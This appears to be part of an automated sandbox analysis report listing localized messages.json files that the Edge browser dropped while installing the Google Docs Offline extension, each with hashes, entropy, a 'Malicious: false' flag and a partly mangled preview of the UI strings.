C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6932_55941686\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
